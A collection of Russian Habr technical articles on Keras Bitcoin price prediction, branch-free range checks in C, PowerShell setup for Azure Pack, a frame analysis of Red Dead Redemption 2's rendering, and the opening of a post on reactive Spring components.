PrintDot() — коллбэк отвечающий за вывод красивых точек в процессе обучения модели. Позаимствовал его из официальной документации по [TensorFlow](https://www.tensorflow.org/tutorials/keras/regression). Очень уж он мне понравился. Выглядит он незамысловато:
```
class PrintDot2(keras.callbacks.Callback):
def on_epoch_end(self, epoch, logs):
if epoch % 100 == 0: print('')
print('.', end='')
```
Задача его — рисовать точки, отражая эпохи.
Что ж, запустим тренировку нашей модели и посмотрим на результат.
Проверим эффективность модели на тестовой выборке.
```
loss, mae, mse = model.evaluate(normed_test_data, test_labels, verbose=2)
```
Результат: 506/506 — 0s — loss: 36201.9241 — mae: 66.5216 — mse: 36201.9219
MSE в 45430.1133 долларов оставляет нас со среднеквадратическим отклонением в 190.27 долларов. Многовато.
Теперь проведем обучение и тестирование сети на данных, содержащих выходы транзакций.
```
loss, mae, mse = model.evaluate(normed_test_data2, test_labels2, verbose=2)
```
Результат: 506/506 — 0s — loss: 24382.0926 — mae: 48.5508 — mse: 24382.0918
MSE в 24382.0918 долларов значит, что среднеквадратическое отклонение сократилось до 156.15 долларов, что, конечно, не сказка, но улучшение налицо.
Момент истины. Произведем прогнозирование и нарисуем как соотносятся предсказанные значения цен закрытия с реальными ценами.
**Код для формирования графиков**
```
actual_price = later_testds_for_plot.pop('Price')
actual_dates = later_testds_for_plot.pop('Date')
normed_practice_data = norm(train, later_testds_for_plot)
practice_prediction = model.predict(normed_practice_data).flatten()
actual_price2 = later_testds_for_plot2.pop('Price')
actual_dates2 = later_testds_for_plot2.pop('Date')
normed_practice_data2 = norm(train2, later_testds_for_plot2)
practice_prediction2 = model.predict(normed_practice_data2).flatten()
fig = plt.figure(figsize=(15,6))
ax1 = fig.add_subplot(121)
ax2 = fig.add_subplot(122)
ax1.plot(actual_dates,actual_price, label ='actual btc price')
ax1.plot(actual_dates,practice_prediction, label ='predicted btc price')
ax1.set_title('BTC Close Price Prediction with only Exch Data')
ax1.legend()
ax2.plot(actual_dates2,actual_price2, label ='actual btc price')
ax2.plot(actual_dates2,practice_prediction2, label ='predicted btc price')
ax2.set_title('BTC Close Price Prediction with Outs')
ax2.legend()
```
На графиках видно, что линия цен, спрогнозированных с учетом выходов транзакций сети биткоин, лежит значительно ближе к линии действительных цен закрытия. Этого, безусловно, недостаточно для того, чтобы торговать, но достаточно, чтобы набраться оптимизма в отношении последующих исследований.
Выводы
------
Итак, если Годзилла и живет внутри водоема, то уж точно не в области динамики объемов выходов транзакций сети биткоин. Тем не менее, определенных успехов в части прогнозной эффективности, благодаря добавлению дополнительных источников в модель данных, мы добились.
Этот вольный эксперимент, безусловно, не обнадеживает в части создания финансового «Демона Лапласа» (мы ж ведь все-таки разумные люди), но дарит определенный оптимизм в отношении моделирования хотя бы небольшого такого «бесенка».
Ресурсы
-------
* [«Мечтают ли нейросети об электроденьгах?»](https://habr.com/ru/post/488568/) — вдохновившая меня статья;
* [GitHub/Godzilla\_searching](https://github.com/AnkyDu77/Godzilla_searching) — код и данные, использованные в статье находятся тут;
* [invrsting.com. Historical data](https://www.investing.com/indices/investing.com-btc-usd-historical-data) — исторические данные по котировкам биткойна;
* [MIT. Bitcoin Blockchain](https://senseable2015-6.mit.edu/bitcoin/) — данные, собранные из блокчейна биткойна в самых разнообразных разрезах;
* [Blockchain.com. API](http://blockchain.com/ru/api/blockchain_api/) — доступ к данным блокчейна биткойна. | https://habr.com/ru/post/489582/ | null | ru | null |
# SIMD без SIMD, или ищем на С почти в два раза быстрее чем на С++
Прочитал статьи про комбинаторную кодогенерацию на С++ в контексте линейного поиска в базе данных: [Возможности оптимизации в языках C и C++](http://habrahabr.ru/post/182356/) и [Скорости разработки и исполнения не достижимые на С](http://habrahabr.ru/post/182428/). Попробуем достигнуть скоростей разработки и исполнения на C?
После того, как я запустил компиляцию С++ кода из второй статьи, мне стало интересно — успею ли я написать аналог на С, который будет работать быстрее, пока код… компилируется? Не успел, код скомпилировался через 5 минут, а аналог на С писался все 15.
Итак, постановка задачи — есть структура из нескольких полей, есть фильтр, который проверяет, находится ли каждое поле в указанном диапазоне. Или не проверяет — для каждого поля. Нужен код который эту проверку по фиксированному фильтру делает очень быстро. Данные случайные, так что чем меньше условных переходов тем лучше — предсказание переходов на случайных данных работает так себе.
Задача решается в два этапа:
1. Давайте научимся заменять операции сравнения чем-нибудь более простым, например сложением и битовыми операциями
2. Давайте научимся комбинировать несколько операций из 1 вместе, бесплатно.
Итак, пункт первый. Есть значение b и диапазон [a, c], надо посчитать a <= b и b <= c. Без сравнений. Пусть для определенности a, b, c неотрицательные и помещаются в 7 бит — т.е. от 0 до 127.
Нетрудно заметить, что выражение (128 — a) + b гарантированно помещается в 8 бит; более того, 8-ой бит результата равен 1 тогда и только тогда когда a <= b. Например, если a = 0, то в значении выражения 128 + b 8-ой бит всегда 1; если a = 1, то в значении выражения 127 + b 8-ой бит равен 1 если b равен 0 или 1, и так далее.
Результат сравнения b и с получается почти так же — выражение (127 — c) + b помещается в 8 бит, и 8-ой бит результата равен 0 тогда и только тогда когда b <= c.
Итак, ура! Вместо того, чтобы считать a <= b, мы с вами будем считать ((128 — a) + b) & 128. Казалось бы, зачем?..
Пункт второй. У битовых операций есть прекрасное свойство, которое все знают — одной инструкцией можно сделать сразу очень много однотипных битовых операций. Год кажется уже 2013, уже даже процессор без SSE днем с огнем не сыщешь, так что будем считать что уж 64-то бита — точно можно.
Не все знают, что похожее прекрасное свойство есть и у арифметических операций — если быть аккуратным и предварительно подготовить данные. Например, пусть у нас есть 32-битная арифметика, и 4 пары семибитных беззнаковых чисел. Смотрите, как их можно сложить:
1. Добавляем к каждому числу лишний старший бит, который инициализируем нулем:
aaaaaaa -> 0aaaaaaa
2. 4 группы по 8 битов записываем последовательно:
0aaaaaaa0bbbbbbb0ccccccc0ddddddd
3. Два получившихся 32-битных числа складываем; получаем 4 8-битных результата сложения в 32-битном числе.
4. Если хочется 7-битной арифметики, то биты переноса можно обнулить.
Сразу становится ясно, что нужно сделать в искомой задаче:
1. Выкладываем данные в 64-битном регистре так, чтобы у каждого значения был лишний старший бит. Случайно получилось так что пример из статьи влезает с такой укладкой в 62 бита — осталось место для одного однобитного поля!
```
struct T_cash_account_row {
unsigned reserved0:1;
unsigned code:20; // 0 - 1000000
unsigned carry_code:1;
unsigned gender:1; // 0 - 1
unsigned carry_gender:1;
unsigned age:7; // 0 - 100
unsigned carry_age:1;
unsigned reserved1:1;
unsigned amount_of_money:20;// 0 - 1000000
unsigned carry_amount_of_money:1;
unsigned height:9; // 0 – 300
unsigned carry_height:1;
};
```
Внимание, тут используется знание порядка укладки bit fields в конкретном компиляторе; на самом деле надо заменить структуру на unsigned long long и укладывать туда значения через битовые операции, но для этого пришлось бы менять референсный код. Код стал чуть менее кроссплатформенным чем он был, это лечится.
2. Заранее генерируем два слагаемых из чисел наподобие (128 — a) и (128 — 1 — c) из примера выше. Вместо 128 подставляем ширину каждого поля в битах. Чтобы не сойти с ума, используем макросы.
```
#define FILL(enum, field, bits) \
if (range_filters->use_filter[enum]) { \
begin_add.field = (1 << bits) - range_filters->begin.field; \
begin_add.carry_##field = range_filters->begin.field == 0; \
end_add.field = (1 << bits) - 1 - range_filters->end.field; \
mask_add.carry_##field = 1; \
}
```
Обращаю внимание на заполнение carry\_field для begin — битовые поля оперируют арифметикой без доп. расширенного бита, так что если begin = 0, то нужно заполнить само поле нулем, и carry\_field единицей. Если вместо битовых полей использовать unsigned long long и битовые операции, то можно просто писать (1 << bits) — begin.
3. Складываем 64-битное число, в котором уложены наши поля, с двумя контрольными слагаемыми; получаем нужную нам информацию в битах переноса
```
unsigned long long value = *(unsigned long long*)&array_ptr[i];
unsigned long long begin_result = (value + begin_add_i) ^ mask_add_i;
unsigned long long end_result = value + end_add_i;
```
В этом кусочке кода мы злостно нарушили strict aliasing (и черт с ним), а также заменили 1 в битах переноса на 0.
4. Проверяем, что все интересные нам биты переноса (те, которые должны учитываться фильтром) равны 1 после первого сложения и 0 после второго.
```
if (((begin_result | end_result) & mask_add_i) == 0)
```
Поскольку мы заменили 1 на 0, то достаточно проверить что все интересные нам биты равны нулю.
5. Измеряем производительность, получаем прирост почти в 2 раза по сравнению с С++ кодом, который компилируется 5 минут.
```
Microsoft (R) C/C++ Optimizing Compiler Version 17.00.50727.1 for x64
Generated rows: 100000000
C-search took 0.778000 seconds.
C++-optimized search took 0.307000 seconds.
C-optimized-search took 0.171000 seconds.
```
И на всякий случай [код целиком](https://gist.github.com/zeux/5727262). Компилируется в MSVC с ключиком /TP (потому что не C89, ни до моих изменений ни после), и в gcc без ключиков (случайность).
Разумеется, [так измерять производительность нельзя](http://habrahabr.ru/post/180161/).
Разумеется, мне повезло с 62 битами (а автору оригинальной статьи повезло с 4000 вариантами).
Но выводы каждый пусть сделает для себя сам.
Напоследок хочется отметить, что — кажется — настоящее решение для production будет использовать SoA укладку данных — вместо массива структур использовать по одному массиву для каждого поля (с, например, битовой упаковкой). Тогда во-первых можно экономить на количестве данных, прочитанных при linear scan, во-вторых не нужна compile-time комбинаторика, в-третьих кода писать меньше, в-четвертых количество полей и структуру запроса проще менять динамически. Еще разумеется настоящее решение для production будет использовать (о, ужас) платформенно-зависимый SIMD. | https://habr.com/ru/post/182588/ | null | ru | null |
# Настройка подключения Powershell по API к облаку Azure Pack Infrastructure
В этой статье мы рассмотрим как настроить подключение к облаку [Azure Pack Infrastructure](https://infoboxcloud.ru/services/azurepack/) через Powershell API.
Работа с REST API будет рассмотрена в следующих статьях.
В конце статьи скидка на облако.
#### Установка модуля Powershell для управления Azure Pack
Откройте терминал Powershell.
Если ведете работу локально — **от имени администратора**, если удаленно — сперва выполните команду:
```
Enable-PSRemoting
```
, которая включит WinRM и изменит конфигурацию дескриптора безопасности для возможности исполнения удаленных команд.
Для установки модуля управления Azure Pack выполните команду:
```
Install–Module Azure
```
Вас попросят разрешить установку NuGet провайдера. Нужно согласиться, введя **Y** и нажав Enter.
Затем попросят разрешить установку пакета из репозитория PSGallery. Нужно согласиться, введя **A** и нажав Enter.
#### Получение сертификата управления Azure Pack
Войдите в панель управления Azure Pack Infrastructure: <https://portal.infoboxcloud.com>.
Теперь пройдите по адресу <https://portal.infoboxcloud.com/publishsettings> – загрузка сертификата (файл. \*.publishsettings) начнется автоматически. Сохраните его на жестком диске.
#### Подключение к Azure Pack Infrastructure из Powershell
Разрешите исполнение всех видов скриптов:
```
Set-ExecutionPolicy -ExecutionPolicy Unrestricted
```
Импортируйте модуль Azure:
```
Import-Module Azure
```
Добавьте новое окружение командой:
```
Add-WAPackEnvironment -Name "Azure Pack Infrastructure" -PublishSettingsFileUrl https://portal.infoboxcloud.com/publishsettings -ServiceEndpoint https://api.infoboxcloud.com
```
Импортируйте сертификат управления командой:
```
Import-WAPackPublishSettingsFile "C:\Users\trukhinyuri\wap\yuritrukhincom-credentials.publishsettings" -Environment "Azure Pack Infrastructure"
```
, где «C:\Users\trukhinyuri\wap\yuritrukhincom-credentials.publishsettings» замените на путь к publishsettings файлу.
Вот и все. Можно приступать к управлению инфраструктурой.
#### Возможности Powershell API
Список всех доступных команд можно получить, выполнив команду:
```
Get-Command *wapack*
```
Получить пример использования можно с помощью команды:
```
get-help -Examples
```
, где — имя командлета, о котором вы хотите узнать больше.
#### Скидка на облако
Для легкого старта мы предлагаем скидку 25% при заказе облака до 15 декабря 2017 года. Скидка действует до 1 марта 2018 года.
Для получения скидки заполните форму <https://infoboxcloud.ru/request> и в поле комментария укажите «Хочу скидку 25% для легкого старта». Также рекомендуется указать требуемое количество серверов, для каждого количество ядер CPU, объем оперативной памяти, диска и необходимую ОС. Расчет стоимости можно провести на [калькуляторе](http://calculator.infoboxcloud.ru/?url=azurepack) либо мы выполним его для вас и подготовим коммерческое предложение.
Успехов! | https://habr.com/ru/post/343256/ | null | ru | null |
# Анализ графики Red Dead Redemption 2
Одна из моих любимейших игр, [Red Dead Redemption](https://en.wikipedia.org/wiki/Red_Dead_Redemption), в 2018 году вернулась с [приквелом](https://en.wikipedia.org/wiki/Red_Dead_Redemption_2) для консолей. В 2019 году её выпустили для PC, и мне наконец удалось поиграть в неё; меня сразу же поразила её графика. Однако я расстроился: мне едва удавалось играть при средних настройках с 25 FPS на настольном GPU 1050Ti. Понимаю, машина у меня не очень мощная, но 25 FPS на средних настройках?
Сегодня мы рассмотрим несколько примеров кадров из игры и проанализируем использованные в игре графические приёмы.
Предисловие
-----------
Это неофициальный анализ игры. Я просто проанализировал захват кадров при помощи [RenderDoc](https://renderdoc.org/). Если вы хотите узнать информацию от самих разработчиков, то можете изучить слайды с доклада на SIGGRAPH [Фабиана Байера](https://twitter.com/globbbe). [Слайды](https://advances.realtimerendering.com/s2019/index.htm) (внизу страницы), [видео](https://dl.acm.org/doi/10.1145/3305366.3335036) (начинается с 1:58:00).
Также можно прочитать [анализ графики](https://www.adriancourreges.com/blog/2015/11/02/gta-v-graphics-study/) GTA5, выполненный Адрианом Корреже [[перевод](https://habr.com/ru/company/ua-hosting/blog/271931/) на Хабре]. Так как и RDR2, и GTA5 созданы одной компанией и используют один движок, часть приёмов из GTA5 присутствует и здесь.
Ещё один важный момент — я не являюсь опытным программистом графики и по-прежнему новичок в этой области. Поэтому многое мне непонятно. Если вы найдёте ошибки или то, что можно улучшить, [пишите мне](https://twitter.com/imgeself/status/1274391912011751428). Ну, поехали!
Разбираем кадр
--------------
Вот наш основной кадр для анализа:
*Кадр захвачен на PC со средними настройками.*
> В играх наподобие RDR2 почти невозможно исследовать все приёмы в одном кадре. Их работа переносится между несколькими кадрами. Поэтому я выполнил захват нескольких кадров, но показанный выше будет основным. Он содержит множество свойств, в том числе: прожекторные и точечные источники освещения, направленное освещение (его очень мало, но оно есть), здания, NPC, лошадь, деревья, растительность, облака и т.д. В нём можно показать большинство используемых в игре техник рендеринга.
RDR2 — это игра с открытым миром, поэтому потоковая загрузка данных выполняется постоянно. Следовательно, построение кадра начинается с набора таких задач, как создание и удаление текстур, просмотры ресурсов шейдеров, просмотры с беспорядочным доступом, обновление дескрипторов, буферов и т.д.
### Карта земли/грязи
Грязь играет большую роль. Кроме того, что она является игровой механикой, грязь делает окружения более реалистичными. Игра рендерит текстуры следов людей и лошадей в карту смещений (displacement map) вместе с текстурами следов колёс повозок. Эта аккумулированная текстура используется для [Parallax Occlusion Mapping](https://developer.amd.com/wordpress/media/2012/10/Tatarchuk-POM.pdf) при рендеринге рельефа.
*Карта грязи: `R16_UNORM` размером 2048x2048*
### Небо и облака
После прохода вычисления грязи игра выполняет большой объём работы с вычислениями GPU. В основном они относятся к небу и облакам. Облака, туман и объёмное освещение — одни из самых выделяющихся эффектов RDR2. Подробнее об этом этапе можно узнать из слайдов Фабиана. Он объясняет всё это гораздо детализированней, чем это смогу сделать я.
### Карта окружений
Карты окружений (Environment maps) — основной источник отражений RDR2, а также GTA5.
[Как и GTA5](http://www.adriancourreges.com/blog/2015/11/02/gta-v-graphics-study/#environment-cubemap), RDR2 генерирует кубическую карту окружений из позиции камеры. Движок игры генерирует тонкий GBuffer для карты окружений, похожий на используемый в [Far Cry 4](https://www.youtube.com/watch?v=rD6KcxcCl_8).
*Грани кубической карты окружений (альбедо): `RGBA8_SRGB`*
*Грани кубической карты окружений (нормали): `RGBA8_UNORM`*
*Грани кубической карты окружений (глубина): `D32S8`*
Генерация кубических карт окружений в каждом кадре может оказаться очень тяжеловесной задачей. Для снижения вычислительных затрат RDR2 использует оптимизации. Например, игра отрисовывает только статичные и непрозрачные объекты, выполняет [усечение по пирамиде видимости (frustum culling)](https://www.gamedev.net/tutorials/programming/general-and-gameplay-programming/frustum-culling-r4613/) перед рендерингом каждой грани и отрисовывает версии моделей с пониженным уровнем LOD. Однако я выяснил, что количество полигонов рельефа всё равно очень высок для карт окружений.
После прохода G-Buffer генерируется кубическая карта окружений неба при помощи параболоидной карты неба и текстур облаков. Следующим этапом является свёртка. Для Image Based Lighting движок RDR2 использует [split sum approximation](https://blog.selfshadow.com/publications/s2013-shading-course/karis/s2013_pbs_epic_notes_v2.pdf). В этом способе используется предварительно отфильтрованная карта окружений вместе с LUT BRDF окружений. Для фильтрации игра сворачивает кубическую карту окружений и хранит свёрнутые версии в уровнях mip-текстур кубической карты.
Перед выполнением прохода освещения для кубической карты освещения RDR2 рендерит в ещё одну кубическую текстуру запечённое крупномасштабное ambient occlusion. Игра использует screen space ambient occlusion, но SSAO помогает только при мелких масштабах. Запечённое ambient occlusion помогает выполнять затемнение в бОльших масштабах, например, затемнение террас и интерьеров.
*Грани кубической карты окружений (запечённое AO): `R8_UNORM`*
Для вычисления освещения карт окружений игра использует [отложенный тайловый рендеринг](https://www.gdcvault.com/play/1023510/Advanced-Graphics-Techniques-Tutorial-Day). Усечение света (light culling) и освещение вычисляются вместе в одном проходе вычислительного шейдера для каждой грани карты окружений. (Благодарю за эту подсказку [@benoitvimont](https://twitter.com/benoitvimont).) Также для запечённого освещения игра использует технику «карты освещения мира с видом сверху» (top-down world lightmap) [похожую на использованную в Assassin's Creed III](https://www.gdcvault.com/play/1017710/Rendering-Assassin-s-Creed).
Для каждой грани кубической карты RDR2 рендерит окончательный цвет поверх текстуры окружений неба. Затем игра фильтрует кубическую карту окружений так же, как и кубическую карту окружений неба.
*Грани кубической карты окружений (окончательные): `R11G11B10_FLOAT`*
Также когда игрок находится рядом со зданием, RDR2 загружает карты окружений, расположенные в интерьерах зданий. Существуют также G-Buffers кубических карт, потоково загружающиеся с диска.
*Запечённые грани кубической карты окружений (альбедо): `BC3_SRGB` (запечённое AO хранится в альфа-канале)*
*Запечённые грани кубической карты окружений (нормали): `BC3_UNORM`*
*Запечённые грани кубической карты окружений (глубина): `R16_UNORM`*
Игра вычисляет освещение этих карт и фильтрует их, как и предыдущие. За раз она вычисляет только одну запечённую карту окружений, и заново пересчитывает её только при смене времени суток. Все карту окружений хранятся в массиве текстурных кубических карт. Никакого [преобразования кубической карты в двойную параболоидную карту](http://www.adriancourreges.com/blog/2015/11/02/gta-v-graphics-study/#cubemap-to-dual-paraboloid-map) не выполняется.
### Проход G-Buffer
Этот этап начинается с предварительного прохода глубин рельефа, а затем игра рендерит сцену в G-Buffers.
| GBuffer 0 `RGB` | GBuffer 0 `A` |
| --- | --- |
| AlbedoTarget | AlbedoTargetA |
* `RGBA8_SRGB` — этот буфер содержит в каналах RGB альбедо (базовый цвет). Я не совсем понимаю, для чего нужны данные альфа-канала, но они используются на этапе сглаживания.
| GBuffer 1 `RGB` | GBuffer 1 `A` |
| --- | --- |
| NormalTarget | NormalTargetA |
* `RGBA8_UNORM`: каналы RGB содержат нормали, а альфа-канал содержит что-то, относящееся к ткани и волосам.
| GBuffer 2 `RGB` | GBuffer 2 `A` |
| --- | --- |
| MaterialTarget | MaterialTargetA |
* `RGBA8_UNORM`: этот target используется для свойств материалов.
+ R: Reflectance(f0)
+ G: Smoothness
+ B: Metallic
+ A: содержит затенение (этот канал будет использоваться как маска теней на последующих этапах)
| GBuffer 3 `R` | GBuffer 3 `B` |
| --- | --- |
| Material2TargetR | Material2TargetB |
* `RGBA8_UNORM`: красный канал содержит полости. В синем канале снова какие-то загадочные данные. А в альфа-канале находятся данные, относящиеся к волосам. В зелёном канале мне не удалось ничего найти.
| GBuffer 4 `RG` |
| --- |
| MotionBlurTarget |
* `RG16_FLOAT`: этот буфер содержит скорость в экранном пространстве для реализации motion blur.
| GBuffer 5 `Depth` | GBuffer 5 `Stencil` |
| --- | --- |
| DepthTarget | StencilTarget |
* `D32S8`: как и GTA5, RDR2 использует для глубины [обратную z](https://developer.nvidia.com/content/depth-precision-visualized), а также стенсил-буфер для присвоения значений определённой группе мешей.
Из запечённых данных генерируется ещё один target:
| GBuffer 6 `R` | GBuffer 6 `G` |
| --- | --- |
| BakedAO | MysteryTarget |
Этот буфер содержит в красном канале такое же запечённое ambient occlusion, что и на этапе карт окружений. Но в этой текстуре есть и другие каналы. Зелёные канал содержит данные, напоминающие данные в синем канале GBuffer 3. Я опять не понимаю, для чего используются эти данные. У захваченных кадров я не смог найти никаких данных в синем и альфа-канале. Я изучу это более подробно.
### Генерация карт теней
После этапа G-Buffer игра начинает рендерить карты теней (shadow maps). Она использует 2D-массивы текстур для карт теней точечных источников и кубические массивы текстур для карт теней прожекторных источников.
В некоторых играх для карт теней используется большая текстура атласа теней ([например, в DOOM](http://advances.realtimerendering.com/s2016/Siggraph2016_idTech6.pdf)). Одно из преимуществ такого метода заключается в том, что размер карты теней может сильно варьироваться в зависимости от расстояния. При использовании массивов текстур эта гибкость теряется, потому что все текстуры в массиве должны иметь одинаковый размер. В RDR2 есть три разных массива текстур для разного уровня качества. Например, у прожекторных источников есть:
* **512x768 D16** для далёких источников
* **1024x1536 D16** для источников на среднем расстоянии (а при средних настройках графики — и на ближнем расстоянии)
* **2048x3072 D16** для близких источников (при высоких/ультракачественных настройках)
Точечные источники отбрасывают тени во всех направлениях. Чтобы справиться с этой задачей, в играх используется техника под названием [Omnidirectional Shadow Mapping](https://learnopengl.com/Advanced-Lighting/Shadows/Point-Shadows), при которой сцена рендерится в кубическую карту глубин из позиции камеры. При помощи этой техники отрендерены тени от костра и тени от фонаря Артура. Как и прожекторные источники, точечные имеют три разных массива для разных настроек качества.
У большинства статичных точечных источников в игре есть запечённые кубические карты теней.
Поэтому игра по возможности использует запечённые тени и генерирует карту теней только тогда, когда игрок находится рядом с объёмом света. Но на самом деле всё ещё интереснее.
Большинство источников света на стенах — прожекторные, но игра не генерирует для них всенаправленную карту теней (omnidirectional shadow map). Вместо неё она генерирует карту теней и копирует память этой карты теней в кубический массив карты теней точечных источников.
| | |
| --- | --- |
| | |
*Слева — карта теней прожекторных источников размером 1024x1536, справа — те же данные изображения в кубическом формате текстуры 512x512*
> Обратите внимание, что в локальных картах теней хранятся линейные z.
Это объясняет то, почему для прожекторных источников разработчики не использовали карту теней квадратной формы. Количество пикселей в карте теней прожекторных источников и кубической карте точечных источников должно быть одинаковым. Вы наверняка увидели, что правое изображение нарезано на части. Так получилось, потому что ширина карты теней прожекторного и точечного источников отличаются.
Также обратите внимание на то, что эта текстура не покрывает 360 градусов. Однако, к счастью, у источников на зданиях обычно есть на задней стороне стена, и запечённые карты теней закрывают её.
Ещё один интересный момент заключается в том, что процесс выполняется наоборот. Возьмём для примера Сен-Дени — один из крупнейших городов в игре. Игра генерирует omnidirectional shadow maps для прожекторных источников и копирует эти данные в массив карт теней прожекторных источников. Я не знаю, зачем в RDR2 наложение теней выполняется таким образом. В Интернете мне не удалось найти никаких подобных приёмов.
Наложение теней направленного освещения в RDR2 реализовано почти так же, как в [GTA5](http://www.adriancourreges.com/blog/2015/11/02/gta-v-graphics-study/#shadows). Это [Cascaded Shadow Mapping](https://docs.microsoft.com/en-us/windows/win32/dxtecharts/cascaded-shadow-maps) с четырьмя каскадами. В качестве каскада используется каждый тайл размером 1024x1024 из текстуры 1024x4096 (при средних настройках графики).
*Атлас теней направленного освещения: `R16_UNORM`*
### Этап освещения
Наконец настало время для объединения всех этих карт окружений, gbuffers, карт теней и буферов ao.
Этот этап состоит из двух проходов: первый для глобального освещения (солнца/луны), второй — для локальных источников.
#### Проход глобального освещения
Игра рендерит полноэкранный четырёхугольник для вычисления направленного освещения, которым в нашем кадре является лунный свет. Также используется запечённое освещение из упомянутой выше «карты освещения мира с видом сверху».
#### Проход локального освещения
В этом проходе игра рендерит низкополигональную сферическую фигуру для объёмов точечных источников и восьмигранник для объёмов прожекторных источников. Освещение рендерится сзади вперёд при помощи аддитивного смешения.
Чтобы избежать необязательных вызовов шейдеров, игра использует тестирование с ограничением по глубине — [дополнительную функцию](https://www.geeks3d.com/20130523/amd-gcn-performance-tweets-and-depth-bounds-test-dx11-demo-published/) OpenGL/D3D11, которая стала [нативной](https://microsoft.github.io/DirectX-Specs/d3d/DepthBoundsTest.html) в Vulkan/D3D12. Также она использует стенсил-тестирования для отбрасывания пикселей, поглощённых просвечивающими объектами, например, стёклами окон. Эти объекты будут рендериться во время прямого прохода.
### Рендеринг воды и отражения
В этом посте я не буду рассказывать о рендеринге воды, потому что он заслуживает отдельного поста, но немного скажу об отражениях:
* Как говорилось выше, карты окружений — это основной источник отражений. Для стандартных отражений. например, для отражений в окнах, игра использует их.
* Зеркала рендерятся с планарными отражениями, при которых сцена рендерится заново с направления отражения. Этот процесс также выполняется отложенным рендерингом.
* Отражения в воде используют отражения экранного пространства (screen space reflections) в сочетании с картой отражений, сгенерированной в начале кадра.
### Этап прямого затенения
Один из недостатков конвейера отложенного рендеринга заключается в том, что невозможно правильно рендерить просвечивающие материалы с GBuffers. Чтобы решить эту проблему, игра рендерит просвечивающие материалы сзади вперёд при помощи прямого затенения, как большинство, использующих отложенный рендеринг.
Но прямой проход может быть затратным:
* В нём используются прямые шейдеры затенения, которые более затратны отложенных.
> Количество регистров, используемых в шейдере, имеет отрицательную корреляцию с количеством инстансов шейдеров, которые можно выполнять параллельно. Так как прямое затенение сочетает вычисления материалов и освещения (а также теней), количество регистров в прямых шейдерах может быть высоким.
* Они отрисовывают каждый толстый просвечивающий объект дважды.
> Для достижения правильного смешения необходимо сначала отрендерить задние грани объекта, а затем отрендерить передние. Из-за этого большинство просвечивающих объектов в сцене отрисовывается дважды. Двухмерные объекты-четырёхугольники (например, окна) рендерятся один раз.
* Кроме того, между отрисовками происходит изменение состояния конвейера.
> Чтобы иметь возможность переключения между отсечением передних и задних граней, необходимо изменять состояния конвейера. А такие изменения могут быть затратными.
На этом этапе есть ещё один render target, генерируемый для эффекта bloom. Этот target хранит яркость bloom. Как видно на изображении, просвечивающие объекты светятся сильнее.
*Target яркости bloom: `R8_UNORM`*
> Заметьте, что яркость bloom увеличивается на дальних расстояниях, чтобы туманные области больше светились.
### Постобработка
На этом этапе выполняются временнОе сглаживание, bloom, motion blur, эффект глубины видимости и другие эффекты. Постобработке я планирую посвятить отдельный пост. Поэтому мы не будем особо её здесь обсуждать, но я бы хотел сказать пару слов о bloom. Благодаря объёмному освещению в основном render target уже есть свечение источников освещения.
Реализация bloom в RDR2 очень похожа на реализацию, описанную в [Next Generation Post Processing in Call of Duty: Advanced Warfare](https://www.iryoku.com/next-generation-post-processing-in-call-of-duty-advanced-warfare).
* В качестве входных данных берётся target без пороговых значений,
* Render target `R11G11B10_FLOAT` уровня 7-mip ,
* Билинейный фильтр 13-го порядка при даунсэмплинге, tent-фильтр 3x3 при апскейлинге.
Затем игра комбинирует этот отфильтрованный target эффекта bloom с основным target, а также с target яркости bloom.
Выводы
------
Можно о многом ещё рассказать, но я не хочу, чтобы этот пост был слишком длинным. Я хотел бы поделиться своими выводами обо всём этом, а также некоторыми странностями, которые обнаружил в процессе анализа.
* Первое, что я заметил — игра выполняет множество переключений с вычислений к графике и обратно. Она использует асинхронные вычисления, если их включить. (Их нельзя включить в игровых настройках, придётся изменять конфигурационный файл игры.) Вот пример для эффекта bloom: игра переключается на вычислительные шейдеры и выполняет какую-то работу, затем снова переключается на графику и выполняет даунсэмплинг, затем снова переключается на вычисления для выполнения какой-то другой работы, а потом заново переключается на графику для апсэмплинга. Затратны ли такие переключения для GPU? Оправдывает ли выгода от вычислительных шейдеров затраты на переключения?
* Ещё одна странность заключается в том, что RDR2 очищает большинство текстур. Это странно, потому что обычно игры стараются избегать необязательную очистку текстур (например, очистку GBuffers). Оказывают ли эти очистки текстур реальное влияние на производительность? Обязательно ли очищать эти текстуры?
* Третья странность: в одном кадре есть три (а может и больше) одинаковых прохода даунсэмплинга глубин. Один для SSAO, второй для SSR, и ещё один для этапа генерации объёмного тумана и столбов света. Почему игра не использует подвергнутый даунсэмплингу target глубин из SSAO для других этапов?
Не поймите меня неверно, я никого не обвиняю (хотя… меня немного расстраивает низкая частота кадров), просто пытаюсь понять, как приняты такие решения. В конце концов, над этой игрой [в поте лица](https://kotaku.com/inside-rockstar-games-culture-of-crunch-1829936466) трудилось множество людей. Вероятно, у них не было достаточно времени для дальнейшей оптимизации игры.
Послесловие
-----------
Вот и всё! RDR2 — это превосходно выглядящая игра, не только благодаря использованным графическим приёмам, но и из-за арта и освещения; всё выглядит просто феноменально. Я влюбился в цветовую палитру этой игры. Особенно в ночное время суток, оно напоминает мне «Как трусливый Роберт Форд убил Джесси Джеймса», «Старикам тут не место» и другие вестерны, снимавшиеся 35-миллиметровыми камерами.
> См. также:
>
>
>
> * «[Как создаются визуальные эффекты для игр](https://habr.com/ru/post/331604/)»
> * «[История игровой графики: от нескольких лампочек до миллиардов полигонов](https://habr.com/ru/company/netologyru/blog/508196/)»
> * «[5 инструментов геймдизайнера, которые помогут вашей игре](https://habr.com/ru/company/playgendary/blog/491938/)»
> | https://habr.com/ru/post/508934/ | null | ru | null |
# Уж+ёж: реактивные компоненты в сервлетном окружении (1/3)
Когда рассказывают о прелестях реактивного фреймворка [Spring WebFlux](https://docs.spring.io/spring-framework/docs/current/reference/html/web-reactive.html#webflux) и его подкапотном [Project Reactor](https://projectreactor.io/), для примера чаще всего показывают новые, создаваемые с нуля приложения. Однако на практике приходится строить из готовых блоков, в том числе собственных прикладных и инфраструктурных модулей, которые уже написаны в императивном стиле и опираются на сервлетный стек. Как правило, такие модули нельзя/некогда/неохота *(нужное подчеркнуть)* переписывать, поэтому надо как-то адаптировать их к создаваемому реактивному приложению с минимумом правок (а лучше без них вовсе). О некоторых подходах к такой задаче и пойдёт речь в этой серии из 3 заметок:
1. Варианты подготовки зависимостей и универсальная поддержка MDC
2. Унификация получения текущего запроса из любой точки приложения
3. Обобщение `@Around`-аспектов и ремонт OpenFeign-клиентов
#### Вместо disclaimer’а
